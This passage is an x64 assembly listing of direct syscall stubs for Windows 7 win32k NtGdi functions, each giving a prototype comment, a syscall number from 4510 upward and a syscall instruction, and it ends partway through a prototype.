NtGdiDdFlipToGDISurface( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdFlipToGDISurface PROC STDCALL mov r10 , rcx mov eax , 4510 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdFlipToGDISurface ENDP ; ULONG64 __stdcall NtGdiDdGetAvailDriverMemory( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdGetAvailDriverMemory PROC STDCALL mov r10 , rcx mov eax , 4511 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdGetAvailDriverMemory ENDP ; ULONG64 __stdcall NtGdiDdGetBltStatus( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdGetBltStatus PROC STDCALL mov r10 , rcx mov eax , 4512 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdGetBltStatus ENDP ; ULONG64 __stdcall NtGdiDdGetDC( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdGetDC PROC STDCALL mov r10 , rcx mov eax , 4513 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdGetDC ENDP ; ULONG64 __stdcall NtGdiDdGetDriverInfo( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdGetDriverInfo PROC STDCALL mov r10 , rcx mov eax , 4514 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdGetDriverInfo ENDP ; ULONG64 __stdcall NtGdiDdGetDriverState( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdGetDriverState PROC STDCALL mov r10 , rcx mov eax , 4515 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdGetDriverState ENDP ; ULONG64 __stdcall NtGdiDdGetDxHandle( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiDdGetDxHandle PROC STDCALL mov r10 , rcx mov eax , 4516 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdGetDxHandle ENDP ; ULONG64 __stdcall NtGdiDdGetFlipStatus( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdGetFlipStatus PROC STDCALL mov r10 , rcx mov eax , 4517 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdGetFlipStatus ENDP ; ULONG64 __stdcall NtGdiDdGetInternalMoCompInfo( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdGetInternalMoCompInfo PROC STDCALL mov r10 , rcx mov eax , 4518 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdGetInternalMoCompInfo ENDP ; ULONG64 __stdcall NtGdiDdGetMoCompBuffInfo( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdGetMoCompBuffInfo PROC STDCALL mov r10 , rcx mov eax , 4519 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdGetMoCompBuffInfo ENDP ; ULONG64 __stdcall NtGdiDdGetMoCompFormats( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdGetMoCompFormats PROC STDCALL mov r10 , rcx mov eax , 4520 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdGetMoCompFormats ENDP ; ULONG64 __stdcall NtGdiDdGetMoCompGuids( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdGetMoCompGuids PROC STDCALL mov r10 , rcx mov eax , 4521 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdGetMoCompGuids ENDP ; ULONG64 __stdcall NtGdiDdGetScanLine( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdGetScanLine PROC STDCALL mov r10 , rcx mov eax , 4522 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdGetScanLine ENDP ; ULONG64 __stdcall NtGdiDdLock( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiDdLock PROC STDCALL mov r10 , rcx mov eax , 4523 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdLock ENDP ; ULONG64 __stdcall NtGdiDdNotifyFullscreenSpriteUpdate( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdNotifyFullscreenSpriteUpdate PROC STDCALL mov r10 , rcx mov eax , 4524 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdNotifyFullscreenSpriteUpdate ENDP ; ULONG64 __stdcall NtGdiDdQueryDirectDrawObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 ); _6_1_7600_sp0_windows_7_NtGdiDdQueryDirectDrawObject PROC STDCALL mov r10 , rcx mov eax , 4525 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdQueryDirectDrawObject ENDP ; ULONG64 __stdcall NtGdiDdQueryMoCompStatus( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdQueryMoCompStatus PROC STDCALL mov r10 , rcx mov eax , 4526 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdQueryMoCompStatus ENDP ; ULONG64 __stdcall NtGdiDdQueryVisRgnUniqueness( ); _6_1_7600_sp0_windows_7_NtGdiDdQueryVisRgnUniqueness PROC STDCALL mov r10 , rcx mov eax , 4527 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdQueryVisRgnUniqueness ENDP ; ULONG64 __stdcall NtGdiDdReenableDirectDrawObject( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdReenableDirectDrawObject PROC STDCALL mov r10 , rcx mov eax , 4528 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdReenableDirectDrawObject ENDP ; ULONG64 __stdcall NtGdiDdReleaseDC( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdReleaseDC PROC STDCALL mov r10 , rcx mov eax , 4529 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdReleaseDC ENDP ; ULONG64 __stdcall NtGdiDdRenderMoComp( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdRenderMoComp PROC STDCALL mov r10 , rcx mov eax , 4530 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdRenderMoComp ENDP ; ULONG64 __stdcall NtGdiDdSetColorKey( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdSetColorKey PROC STDCALL mov r10 , rcx mov eax , 4531 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdSetColorKey ENDP ; ULONG64 __stdcall NtGdiDdSetExclusiveMode( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdSetExclusiveMode PROC STDCALL mov r10 , rcx mov eax , 4532 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdSetExclusiveMode ENDP ; ULONG64 __stdcall NtGdiDdSetGammaRamp( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiDdSetGammaRamp PROC STDCALL mov r10 , rcx mov eax , 4533 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdSetGammaRamp ENDP ; ULONG64 __stdcall NtGdiDdSetOverlayPosition( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiDdSetOverlayPosition PROC STDCALL mov r10 , rcx mov eax , 4534 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdSetOverlayPosition ENDP ; ULONG64 __stdcall NtGdiDdUnattachSurface( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdUnattachSurface PROC STDCALL mov r10 , rcx mov eax , 4535 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdUnattachSurface ENDP ; ULONG64 __stdcall NtGdiDdUnlock( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdUnlock PROC STDCALL mov r10 , rcx mov eax , 4536 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdUnlock ENDP ; ULONG64 __stdcall NtGdiDdUpdateOverlay( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiDdUpdateOverlay PROC STDCALL mov r10 , rcx mov eax , 4537 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdUpdateOverlay ENDP ; ULONG64 __stdcall NtGdiDdWaitForVerticalBlank( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdWaitForVerticalBlank PROC STDCALL mov r10 , rcx mov eax , 4538 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdWaitForVerticalBlank ENDP ; ULONG64 __stdcall NtGdiDeleteColorTransform( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDeleteColorTransform PROC STDCALL mov r10 , rcx mov eax , 4539 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDeleteColorTransform ENDP ; ULONG64 __stdcall NtGdiDescribePixelFormat( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiDescribePixelFormat PROC STDCALL mov r10 , rcx mov eax , 4540 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDescribePixelFormat ENDP ; ULONG64 __stdcall NtGdiDestroyOPMProtectedOutput( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDestroyOPMProtectedOutput PROC STDCALL mov r10 , rcx mov eax , 4541 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDestroyOPMProtectedOutput ENDP ; ULONG64 __stdcall NtGdiDestroyPhysicalMonitor( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDestroyPhysicalMonitor PROC STDCALL mov r10 , rcx mov eax , 4542 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDestroyPhysicalMonitor ENDP ; ULONG64 __stdcall NtGdiDoBanding( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiDoBanding PROC STDCALL mov r10 , rcx mov eax , 4543 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDoBanding ENDP ; ULONG64 __stdcall NtGdiDrawEscape( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiDrawEscape PROC STDCALL mov r10 , rcx mov eax , 4544 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDrawEscape ENDP ; ULONG64 __stdcall NtGdiDvpAcquireNotification( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiDvpAcquireNotification PROC STDCALL mov r10 , rcx mov eax , 4545 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDvpAcquireNotification ENDP ; ULONG64 __stdcall NtGdiDvpCanCreateVideoPort( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDvpCanCreateVideoPort PROC STDCALL mov r10 , rcx mov eax , 4546 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDvpCanCreateVideoPort ENDP ; ULONG64 __stdcall NtGdiDvpColorControl( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDvpColorControl PROC STDCALL mov r10 , rcx mov eax , 4547 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDvpColorControl ENDP ; ULONG64 __stdcall NtGdiDvpCreateVideoPort( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDvpCreateVideoPort PROC STDCALL mov r10 , rcx mov eax , 4548 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDvpCreateVideoPort ENDP ; ULONG64 __stdcall NtGdiDvpDestroyVideoPort( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDvpDestroyVideoPort PROC STDCALL mov r10 , rcx mov eax , 4549 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDvpDestroyVideoPort ENDP ; ULONG64 __stdcall NtGdiDvpFlipVideoPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiDvpFlipVideoPort PROC STDCALL mov r10 , rcx mov eax , 4550 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDvpFlipVideoPort ENDP ; ULONG64 __stdcall NtGdiDvpGetVideoPortBandwidth( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDvpGetVideoPortBandwidth PROC STDCALL mov r10 , rcx mov eax , 4551 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDvpGetVideoPortBandwidth ENDP ; ULONG64 __stdcall NtGdiDvpGetVideoPortConnectInfo( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDvpGetVideoPortConnectInfo PROC STDCALL mov r10 , rcx mov eax , 4552 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDvpGetVideoPortConnectInfo ENDP ; ULONG64 __stdcall NtGdiDvpGetVideoPortField( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDvpGetVideoPortField PROC STDCALL mov r10 , rcx mov eax , 4553 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDvpGetVideoPortField ENDP ; ULONG64 __stdcall NtGdiDvpGetVideoPortFlipStatus( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDvpGetVideoPortFlipStatus PROC STDCALL mov r10 , rcx mov eax , 4554 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDvpGetVideoPortFlipStatus ENDP ; ULONG64 __stdcall NtGdiDvpGetVideoPortInputFormats( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDvpGetVideoPortInputFormats PROC STDCALL mov r10 , rcx mov eax , 4555 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDvpGetVideoPortInputFormats ENDP ; ULONG64 __stdcall NtGdiDvpGetVideoPortLine( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDvpGetVideoPortLine PROC STDCALL mov r10 , rcx mov eax , 4556 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDvpGetVideoPortLine ENDP ; ULONG64 __stdcall NtGdiDvpGetVideoPortOutputFormats( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDvpGetVideoPortOutputFormats PROC STDCALL mov r10 , rcx mov eax , 4557 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDvpGetVideoPortOutputFormats ENDP ; ULONG64 __stdcall NtGdiDvpGetVideoSignalStatus( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDvpGetVideoSignalStatus PROC STDCALL mov r10 , rcx mov eax , 4558 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDvpGetVideoSignalStatus ENDP ; ULONG64 __stdcall NtGdiDvpReleaseNotification( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDvpReleaseNotification PROC STDCALL mov r10 , rcx mov eax , 4559 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDvpReleaseNotification ENDP ; ULONG64 __stdcall NtGdiDvpUpdateVideoPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiDvpUpdateVideoPort PROC STDCALL mov r10 , rcx mov eax , 4560 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDvpUpdateVideoPort ENDP ; ULONG64 __stdcall NtGdiDvpWaitForVideoPortSync( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDvpWaitForVideoPortSync PROC STDCALL mov r10 , rcx mov eax , 4561 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDvpWaitForVideoPortSync ENDP ; ULONG64 __stdcall NtGdiDxgGenericThunk( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtGdiDxgGenericThunk PROC STDCALL mov r10 , rcx mov eax , 4562 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDxgGenericThunk ENDP ; ULONG64 __stdcall NtGdiEllipse( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiEllipse PROC STDCALL mov r10 , rcx mov eax , 4563 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEllipse ENDP ; ULONG64 __stdcall NtGdiEnableEudc( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiEnableEudc PROC STDCALL mov r10 , rcx mov eax , 4564 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEnableEudc ENDP ; ULONG64 __stdcall NtGdiEndDoc( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiEndDoc PROC STDCALL mov r10 , rcx mov eax , 4565 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEndDoc ENDP ; ULONG64 __stdcall NtGdiEndGdiRendering( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiEndGdiRendering PROC STDCALL mov r10 , rcx mov eax , 4566 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEndGdiRendering ENDP ; ULONG64 __stdcall NtGdiEndPage( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiEndPage PROC STDCALL mov r10 , rcx mov eax , 4567 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEndPage ENDP ; ULONG64 __stdcall NtGdiEngAlphaBlend( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); _6_1_7600_sp0_windows_7_NtGdiEngAlphaBlend PROC STDCALL mov r10 , rcx mov eax , 4568 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEngAlphaBlend ENDP ; ULONG64 __stdcall NtGdiEngAssociateSurface( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiEngAssociateSurface PROC STDCALL mov r10 , rcx mov eax , 4569 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEngAssociateSurface ENDP ; ULONG64 __stdcall NtGdiEngBitBlt( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 ); _6_1_7600_sp0_windows_7_NtGdiEngBitBlt PROC STDCALL mov r10 , rcx mov eax , 4570 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEngBitBlt ENDP ; ULONG64 __stdcall NtGdiEngCheckAbort( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiEngCheckAbort PROC STDCALL mov r10 , rcx mov eax , 4571 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEngCheckAbort ENDP ; ULONG64 __stdcall NtGdiEngComputeGlyphSet( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiEngComputeGlyphSet PROC STDCALL mov r10 , rcx mov eax , 4572 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEngComputeGlyphSet ENDP ; ULONG64 __stdcall NtGdiEngCopyBits( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtGdiEngCopyBits PROC STDCALL mov r10 , rcx mov eax , 4573 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEngCopyBits ENDP ; ULONG64 __stdcall NtGdiEngCreateBitmap( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtGdiEngCreateBitmap PROC STDCALL mov r10 , rcx mov eax , 4574 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEngCreateBitmap ENDP ; ULONG64 __stdcall NtGdiEngCreateClip( ); _6_1_7600_sp0_windows_7_NtGdiEngCreateClip PROC STDCALL mov r10 , rcx mov eax , 4575 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEngCreateClip ENDP ; ULONG64 __stdcall NtGdiEngCreateDeviceBitmap( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiEngCreateDeviceBitmap PROC STDCALL mov r10 , rcx mov eax , 4576 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEngCreateDeviceBitmap ENDP ; ULONG64 __stdcall NtGdiEngCreateDeviceSurface( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiEngCreateDeviceSurface PROC STDCALL mov r10 , rcx mov eax , 4577 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEngCreateDeviceSurface ENDP ; ULONG64 __stdcall NtGdiEngCreatePalette( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtGdiEngCreatePalette PROC STDCALL mov r10 , rcx mov eax , 4578 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEngCreatePalette ENDP ; ULONG64 __stdcall NtGdiEngDeleteClip( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiEngDeleteClip PROC STDCALL mov r10 , rcx mov eax , 4579 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEngDeleteClip ENDP ; ULONG64 __stdcall NtGdiEngDeletePalette( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiEngDeletePalette PROC STDCALL mov r10 , rcx mov eax , 4580 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEngDeletePalette ENDP ; ULONG64 __stdcall NtGdiEngDeletePath( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiEngDeletePath PROC STDCALL mov r10 , rcx mov eax , 4581 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEngDeletePath ENDP ; ULONG64 __stdcall NtGdiEngDeleteSurface( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiEngDeleteSurface PROC STDCALL mov r10 , rcx mov eax , 4582 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEngDeleteSurface ENDP ; ULONG64 __stdcall NtGdiEngEraseSurface( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiEngEraseSurface PROC STDCALL mov r10 , rcx mov eax , 4583 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEngEraseSurface ENDP ; ULONG64 __stdcall NtGdiEngFillPath( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); _6_1_7600_sp0_windows_7_NtGdiEngFillPath PROC STDCALL mov r10 , rcx mov eax , 4584 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEngFillPath ENDP ; ULONG64 __stdcall NtGdiEngGradientFill( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 ); _6_1_7600_sp0_windows_7_NtGdiEngGradientFill PROC STDCALL mov r10 , rcx mov eax , 4585 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEngGradientFill ENDP ; ULONG64 __stdcall NtGdiEngLineTo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 ); _6_1_7600_sp0_windows_7_NtGdiEngLineTo PROC STDCALL mov r10 , rcx mov eax , 4586 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEngLineTo ENDP ; ULONG64 __stdcall NtGdiEngLockSurface( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiEngLockSurface PROC STDCALL mov r10 , rcx mov eax , 4587 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEngLockSurface ENDP ; ULONG64 __stdcall NtGdiEngMarkBandingSurface( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiEngMarkBandingSurface PROC STDCALL mov r10 , rcx mov eax , 4588 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEngMarkBandingSurface ENDP ; ULONG64 __stdcall NtGdiEngPaint( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiEngPaint PROC STDCALL mov r10 , rcx mov eax , 4589 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEngPaint ENDP ; ULONG64 __stdcall NtGdiEngPlgBlt( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 ); _6_1_7600_sp0_windows_7_NtGdiEngPlgBlt PROC STDCALL mov r10 , rcx mov eax , 4590 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEngPlgBlt ENDP ; ULONG64 __stdcall NtGdiEngStretchBlt( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 ); _6_1_7600_sp0_windows_7_NtGdiEngStretchBlt PROC STDCALL mov r10 , rcx mov eax , 4591 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEngStretchBlt ENDP ; ULONG64 __stdcall NtGdiEngStretchBltROP( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 ); _6_1_7600_sp0_windows_7_NtGdiEngStretchBltROP PROC STDCALL mov r10 , rcx mov eax , 4592 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEngStretchBltROP ENDP ; ULONG64 __stdcall NtGdiEngStrokeAndFillPath( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 